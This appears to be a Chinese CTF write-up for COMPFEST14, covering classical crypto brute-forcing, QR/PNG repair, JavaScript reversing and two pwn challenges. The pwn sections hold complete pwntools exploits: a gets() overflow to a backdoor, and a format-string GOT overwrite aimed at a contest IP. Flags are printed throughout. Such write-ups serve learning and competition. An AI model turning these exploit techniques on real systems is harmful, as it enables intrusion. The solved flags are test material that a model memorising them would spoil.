两个都不大会,晚上发现还有一个,这个打开就特别慢.作了两个就算了,心想反正48小时赛,明天再作,可回头一看早就结果是12小时的.而且题特别多
这个题将flag分成4段进行加密,4种不同的方法,不过基本都是基于字符的变化,可以直接爆破
- import math
- from Crypto.Util.number import bytes_to_long
-
-
- def cc_encrypt(plain: str):
- cipher = ""
- for i in range(len(plain)):
- assert ord(plain[i]) < 128
- if i == len(plain) - 1:
- cipher += plain[i]
- else:
- cipher += chr((ord(plain[i]) + ord(plain[i + 1]) - 2*32) % 94 + 32)
- return cipher
-
- def bc_encrypt(plain: str):
- file = open("lorem.txt", "r")
- tmp = file.read()
- file.close()
- off = 0
-
- cipher = ""
- for i in range(len(plain)):
- chr = str(bin(ord(plain[i]) - 32))[2:].zfill(7)
- assert len(chr) == 7
- for j in chr:
- while (not tmp[off].isalpha()):
- off += 1
- if j == "1":
- cipher += tmp[off].capitalize()
- else:
- cipher += tmp[off].lower()
- off += 1
- return cipher
-
- def ct_encrypt(plain: str):
- file = open("lorem.txt", "r")
- key = file.read()[0:5].lower()
- file.close()
-
- cipher = ""
-
- lst = list(plain)
- key_srt = list(key)
- key_srt.sort()
-
- col = len(key)
- row = math.ceil(len(plain)/col)
- lst = []
-
- for i in range(row):
- tmp = []
- for j in range(col):
- if ((i*col) + j < len(plain)):
- tmp.append(plain[(i*col) + j])
- else:
- tmp.append(" ")
- lst.append(tmp)
-
- for i in range(col):
- tmp = key.index(key_srt[i])
- for j in range(row):
- cipher += lst[j][tmp]
-
- return cipher
-
- def vc_encrypt(plain: str):
- file = open("lorem.txt", "r")
- key = file.read()[0:5].lower()
- file.close()
-
- cipher = ""
- for i in range(len(plain)):
- assert ord(plain[i]) < 128
- cipher += chr((ord(plain[i]) + ord(key[i % len(key)]) - 64) % 94 + 32)
-
- return cipher
-
-
- def encrypt(plain: str):
- cipher = ""
- cipher += cc_encrypt(plain[0:20])
- cipher += bc_encrypt(plain[20:40])
- cipher += ct_encrypt(plain[40:60])
- cipher += vc_encrypt(plain[60:])
- return bytes_to_long(bytes(cipher, encoding='utf-8'))
-
- def main():
- file = open("flag.txt", "r")
- plain = file.read()
- file.close()
- tmp = encrypt(plain)
- file = open("cipher.txt", "w")
- file.write(str(tmp))
- file.close()
-
- if __name__ == "__main__":
- main()
-
第一段就是一个算式,直接爆破
- ct =9374862801672011569143243493759834651854302741137921000102578544699291979446566751887813872972999250801521524212936699063904227504628445093754152462009521424732471453466670760988265819686759158844634830024884931300588310718332652371519380668768298032642525239961724954547989762210827049115978504990027702198536284151220495702663215797420769364463234386365148116592181273640226624584351853789020390569953735058342276300916599420784350764118742731817689748155602460756332
-
- from Crypto.Util.number import long_to_bytes
-
- c = long_to_bytes(ct)
- print(len(c))
-
- c1 = c[:20]
- p1 = [0]*20
- p1[19] = c[19]
- #(ord(plain[i]) + ord(plain[i + 1]) - 2*32) % 94 + 32
- for i in range(18,-1,-1):
- for j in range(0x20,127):
- if ((j+p1[i+1])-2*32)%94+32 == c1[i]:
- p1[i] = j
- break
-
- print(bytes(p1))
第二段是基于查表的,同样可以直接爆破
- c2 = c[20:20+20*7].decode()
- p2 = [0]*20
- tmp = open("lorem.txt", "r").read()
- off = 0
- for i in range(20):
- for k in range(0x20,0x7f):
- toff = off
- chr = str(bin(k - 32))[2:].zfill(7)
- cipher = ''
- assert len(chr) == 7
- for j in chr:
- while (not tmp[toff].isalpha()):
- toff += 1
- if j == "1":
- cipher += tmp[toff].capitalize()
- else:
- cipher += tmp[toff].lower()
- toff += 1
- if cipher == c2[i*7: i*7+7]:
- p2[i] = k
- off = toff
- break
-
- print(bytes(p2))
第三段是换顺序,直接用20个字母加密一次,再查表
- import math
- def ct_encrypt(plain: str):
- file = open("lorem.txt", "r")
- key = file.read()[0:5].lower()
- file.close()
-
- cipher = ""
-
- lst = list(plain)
- key_srt = list(key)
- key_srt.sort()
-
- col = len(key)
- row = math.ceil(len(plain)/col)
- lst = []
-
- for i in range(row):
- tmp = []
- for j in range(col):
- if ((i*col) + j < len(plain)):
- tmp.append(plain[(i*col) + j])
- else:
- tmp.append(" ")
- lst.append(tmp)
-
- for i in range(col):
- tmp = key.index(key_srt[i])
- for j in range(row):
- cipher += lst[j][tmp]
-
- return cipher
-
- tmp = ct_encrypt('abcdefghijklmnopqrst')
- #print(tmp)
- t1 = 'abcdefghijklmnopqrst'
- t2 = 'dinsafkpejotbglqchmr'
- st3 = 20+20*7
- c3 = c[st3: st3+20]
- p3 = [0]*20
- for i in range(20):
- p3[t1.index(t2[i])] = c3[i]
-
- print(bytes(p3))
第四段与第一段类似,可能出题人也整不出其它好的方法了,竟然重了
- st3+= 20
- c4 = c[st3: ]
- p4 = [0]*len(c4)
- key = b'lorem'
- #cipher += chr((ord(plain[i]) + ord(key[i % len(key)]) - 64) % 94 + 32)
- for i in range(len(c4)):
- for j in range(0x20,0x7f):
- if (j + key[i%5] -64)%94 + 32 == c4[i]:
- p4[i] = j
- break
-
- print(bytes(p4))
-
- b'Great job! COMPFEST14{FiRSt_ST3p_0f_crYPYo_bUT_f4LLeN_t0_diSUS3_70abaaf44b}'
前几天作过一个扫二维码的,已经弄好了程序,这个题前半半就直接搞定了.给了828个小二维码.扫出来是0xdh这样的,看上去就是一个字节但显示字母都不是16进制的,先用pyzbar扫出来放文件里
- from pyzbar import pyzbar
- from PIL import Image
-
- text = ''
- for i in range(1,829):
- fname = f"./qr/{i}.png"
- val = pyzbar.decode(Image.open(fname), symbols=[pyzbar.ZBarSymbol.QRCODE])
- text+= val[0].data.decode()[2:]
-
- open('aaa2.txt', 'w').write(text)
- print(text)
后来慢慢想,提示是这样的,最后一句有个单词shift,那理解成平移,把这些符号重排了一下,发现前10个从"`_a"开始是10个连续的,后边是6个连续的,大概意思就是16进制的符号平移而来.
- Jack and his uncle loves solving puzzles. This morning, Jack's Uncle gave him a stack of card and said:
- "In order to solve this, don't scramble the card, scramble the egg"
- "Just kidding"
- "Bye, shift you latter"
所以第二步就解出来了
-
- cipher = b'ghd_ctcf_s_p_p_p_______schcgccda_____`ra_____`ra_`________dcebuctg_____`_bchccc`dcfghrtshrcsetpcb_`_gddu_scgqsbcbfrgd`rrhdfb_bbgcp`ua_`aarabg`stardrqeg`ec`aahcbcqehucepg`crbqhuapashdtprfddetabftaetbhu`ugag_cgh`aacdgp`cahdapccgh`aacdgpurcgrttesatf`stqq``pb_qf__te`efhqubscupfrggqh`_schharhegceqbecbtsegfffqfpqcghahrrtscahua`aecdqhf_ebccqdprdph_bg`usshs`sr_`u`ud_chsaaaucuptgeq`eqtgaqeqg`u`edfhq_cth`hfaarbtaguq`eqegbs__rcthr`bpcdbtbbqhghedbhfabdqcbgprastbssg_bghcusc___ub_hbpcddthcdrdbshhd_qq``qpscfcbcuprfbhtesseusgtuudetcauaar`pbcr_sg`c_fpa`cepesfpb_rruudbscdbththrbspgdh_u__u`ethtctabqudpguddftcgtcefdabs_q`_`ef___r__`_sus``cg_te`bhutq`urh_rgaahq_g`eqhugd`eaqdhrucshscpctbrdqca``q`aqhhbercb__rhtrgfcpdaqcbbpt_dagtfshqaa`h`cdpp_sa`hacffqchshbdh__schbeacuapbtcsgqcerurh_sfedhb_fpuhcagh`sqdpcsbeacqargaepfctftegcactg_qgpcpgqegsfcrpgfccutgqhrrs__fgchgespbccqpsqac_hphdserfdhbpcddtgbbrrebagudqsduqcrrgeb`udrdcsqgqurgahreubctq___tubrs`qefstfbfdqfhcgt`frfttcchsaapuc`etrtgfuragb`arpggfgpuhqddcuhhbtpbah`cfshtescahgabdhtdshfqabtsfeppptscdftchpt_egc_deeau_qb_fepq_`qbdhbd`uduhsppdbtcpdrghr_dfhaefseuube`fd`prrqub`_sg_erpes`htubfqgpbrhusruerqsaf`fcdpr``scusr_fqhbp_dpadgaebarqbepf_efasubttctteqthhfddhbha_sghsrchhhgddsgs_geupsa`qruhefebbfr`daaebsffb___t_sgcsuupudbtcqdrgcute`gcqsu`tfdpddgaeuadqqastfbrsrdhhqfdqt`u`rsupsbfdgpqr`gdhttqh_ac_hruabdthq`fbubt`g_sd`_tuqpaqasuaag`utpbafphbbd_ug_fgtf_redhrcgq`crtcffecehqfstusgppqudrhcqqs`qgfdhftcgtcufpcsuh_qeucqq`uth_`scpq`ugus_ahuaghrhcuttqh_a`ehhtegf`egqpubf`praqqs`bfcts_ahuadptcfeht`pc_tpeetrppfr__uqccchuhh_rghsecbu`cppgbahpqr_rs_edbctfsgecth`aacdgp`cahdapccgh`aacdgp`cdhtdauc_uft_qga_dcprgf________chcdctccptcae_ga'
-
- a = b'_`abcdefghpqrstu'
- b = b'0123456789abcdef'
- #按照提示shift \x89PNG
- trantab = bytes.maketrans(c, b)
- d = cipher.translate(trantab)
- open('ccc.png', 'wb').write(bytes.fromhex(d.decode()))
然后生成的是一个png图,打不开,用010打开看头有问题1a0a这里是0a0a,改过来出现一部分,然后再改数据区的长度,从103改为303就得到最后的二维码了,再扫一下即可.
- from pyzbar import pyzbar
- from PIL import Image
-
- #手工修改被破坏的头 0A->1A 数据块长度103->303
-
- val = pyzbar.decode(Image.open('ccc.png'), symbols=[pyzbar.ZBarSymbol.QRCODE])
- text= val[0].data.decode()
-
- print(text)
- #在结果前加CO补全flag头
- #COMPFEST14{Th1s_1S_Th3_c0rrr3ct_Sc4n_M3_Fl4g_5425470cc0}
第一个pwn题白送
- int __cdecl main(int argc, const char **argv, const char **envp)
- {
- char s[80]; // [rsp+0h] [rbp-50h] BYREF
-
- setvbuf(_bss_start, 0LL, 2, 0LL);
- puts("Tell me about yourself");
- gets();
- if ( strlen(s) > 0x40 )
- {
- puts("You talk too much");
- exit(0);
- }
- puts("Who are you");
- return 0;
- }
就一句话,gets直接溢出,还有后门.这就不用本地测了,直接远程
- from pwn import *
-
- p = remote('13.212.50.63',11111)
-
- context.log_level = 'debug'
- p.sendlineafter(b'Tell me about yourself', b'\x00'*0x58+ p64(0x4011d6)*2)
-
- p.recvline()
- p.recvline()
- p.recvline()
第二个题,这种第一次见,不过难度不大,程序可以写信息和输出,输出的时候用的无格式参的printf
但这个都是在一个libmail.so里,这种第一次见,不过跟libc道理一样在主程序里的got表会有这个程序的函数地址
- unsigned __int64 __fastcall sendMail(__int64 a1)
- {
- int v2; // [rsp+14h] [rbp-Ch] BYREF
- unsigned __int64 v3; // [rsp+18h] [rbp-8h]
-
- v3 = __readfsqword(0x28u);
- puts("\nThis app can only send a mail three days to the past maximum.");
- puts("How many days into the past do you want to send this mail?");
- printf("> ");
- __isoc99_scanf("%d%*c", &v2);
- if ( v2 <= 3 )
- {
- if ( v2 >= 0 )
- {
- puts("Enter your mail content");
- printf("> ");
- read(0, (void *)(8 * (3 - v2) + a1), 8uLL);
- }
- else
- {
- puts("You can't send a mail into the future");
- }
- }
- else
- {
- puts("What did i just say :/");
- }
- return __readfsqword(0x28u) ^ v3;
- }
- unsigned __int64 __fastcall readMail(__int64 a1)
- {
- int v2; // [rsp+14h] [rbp-Ch] BYREF
- unsigned __int64 v3; // [rsp+18h] [rbp-8h]
-
- v3 = __readfsqword(0x28u);
- puts("\nThis app can only read a mail three days to the past maximum.");
- puts("which mail do you want to read? (input how many days into the past)");
- printf("> ");
- __isoc99_scanf("%d%*c", &v2);
- if ( v2 <= 3 )
- {
- if ( v2 >= 0 )
- printf((const char *)(8 * (3 - v2) + a1));// printf
- else
- puts("Are you trying to read a mail from the future?");
- }
- else
- {
- puts("Can't read that mail anymore :(");
- }
- return __readfsqword(0x28u) ^ v3;
- }
所以这个思路也比较简单,先用printf漏洞得到函数库的加载地址,然后把函数库里的后门写到exit的got表里
不过在这里浪费了不少时间,太晚了睡觉不弄了.网站特别慢,运行会报超时或直接中断
- from pwn import *
-
- p = remote('13.212.50.63',11002)
- #p = process('./p2')
- context.log_level = 'debug'
-
- elf = ELF('./p2')
- libc_elf = ELF('./libc-2.27.so')
- libmail_elf = ELF('./libtcmail.so')
-
- one = [0x4f2a5, 0x4f302, 0x10a2fc]
- '''
- 0000| 0x7fffffffdef0 --> 0x0 <---------6
- 0008| 0x7fffffffdef8 --> 0x7fffffffdf20 --> 0x0
- 0016| 0x7fffffffdf00 --> 0x0
- 0024| 0x7fffffffdf08 --> 0x8a9f02f8499d1900
- 0032| 0x7fffffffdf10 --> 0x7fffffffdf50 --> 0x401330 (<__libc_csu_init>: endbr64) <--10
- 0040| 0x7fffffffdf18 --> 0x401306 (
: cmp DWORD PTR [rbp-0x4],0x3) <-----11 - 0048| 0x7fffffffdf20 --> 0x0 <----------12 #3
- 0056| 0x7fffffffdf28 --> 0x0
- 0064| 0x7fffffffdf30 --> 0x0
- 0072| 0x7fffffffdf38 ("%6$p%7$p0\340\377\377\377\177") <----------15
- 0080| 0x7fffffffdf40 --> 0x7fffffffe030 --> 0x1
- 0088| 0x7fffffffdf48 --> 0x200000000
- 0096| 0x7fffffffdf50 --> 0x401330 (<__libc_csu_init>: endbr64)
- 0104| 0x7fffffffdf58 --> 0x7ffff7821c87 (<__libc_start_main+231>: mov edi,eax) <------19
- '''
-
- def save(idx, msg):
- p.sendlineafter(b'> ', b'1')
- p.sendlineafter(b'> ', str(idx).encode())
- p.sendafter(b'> ', msg)
-
- def run(idx):
- p.sendlineafter(b'> ', b'2')
- p.sendlineafter(b'> ', str(idx).encode())
-
- save(3, p64(elf.got['sendMail']))
- save(0, b'%12$s,')
- run(0)
- libmail_base = u64(p.recv(6).ljust(8, b'\x00')) - libmail_elf.sym['sendMail']
- libmail_elf.address = libmail_base
- print('mail:', hex(libmail_base))
-
- #got.exit -> win
- win = p64(libmail_elf.sym['win'])
- #win = p64(libc_base + one[2])
- for i in range(6):
- save(3, p64(elf.got['exit'] + i))
- pay = f"%{win[i]}c%12$hhn".encode()
- save(2, pay[:8])
- save(1, pay[8:])
- run(2)
-
- p.sendlineafter(b'> ', b'3')
- p.recvline()
- p.recvline()
-
- p.interactive()
不知道是个啥语言,看上去就是js ,加密就4句
enc=[];holder1=[];holder2=[];fl4g.split("").map((x,y)=>{!y?holder1[y]=x.charCodeAt(0)+1:holder1[y]=((x.charCodeAt(0)+holder1[y-1])%(2**9<<16))});holder1.map((zZ,hh)=>{!hh?holder2[hh]=holder1[hh]:holder2[hh]=(zZ+holder1[hh-1])%(2**9<<8)});enc=holder1.concat(holder2);enc.map((wkwk,zz)=>{enc[zz]=String.fromCharCode(wkwk)});enc=enc.join("")
正理一下就4句
- fl4g.split("").map( (x,y)=>{!y?holder1[y]=x.charCodeAt(0)+1: holder1[y]=((x.charCodeAt(0)+holder1[y-1])%(2**9<<16)) });
- holder1.map((zZ,hh)=>{!hh?holder2[hh]=holder1[hh]:holder2[hh]=(zZ+holder1[hh-1])%(2**9<<8)});
- enc=holder1.concat(holder2);
- enc.map((wkwk,zz)=>{enc[zz]=String.fromCharCode(wkwk)});
这里用到的map显然x是值y是索引,后边三元运算符相当于if else 也就没别的了,第一句是把flag后一个加上前一个(第1个加1),
第二是从这个结果再生成一个然后加在后边,显然有前边后边没用
最后输出,看到密文有点麻烦给整成utf8了
直接先转过来成数字,再作个简单的减法,那个取模也没用,太大了
- def utf8_u16(s):
- i = 0
- t = []
- while i<len(s):
- if s[i]>>7 == 0:
- t.append(s[i])
- i+=1
- elif s[i]>>5 == 6:
- t.append(((s[i]&0x1f)<<6) | (s[i+1]&0x3f))
- i+=2
- else:
- t.append(((s[i]&0xf)<<12)|((s[i+1]&0x3f)<<6)|(s[i+2]&0x3f))
- i+=3
- return t
-
- cipher = open('enc_out.txt','rb').read()
-
- c = utf8_u16(cipher) #utf8转整
- print(len(c),c) #118
-
- holder1 = c[:59]
- holder2 = c[59:]
-
- for i in range(58,0,-1):
- holder1[i] = (holder1[i]-holder1[i-1])%(2**9<<16)
- holder1[0]-=1
- print(bytes(holder1))
- #COMPFEST14{4dler_ch3ccs0me_1s_f4s7er_7h4n_cRC!!_0240f11cc5}
后边题有时间再作,先存存.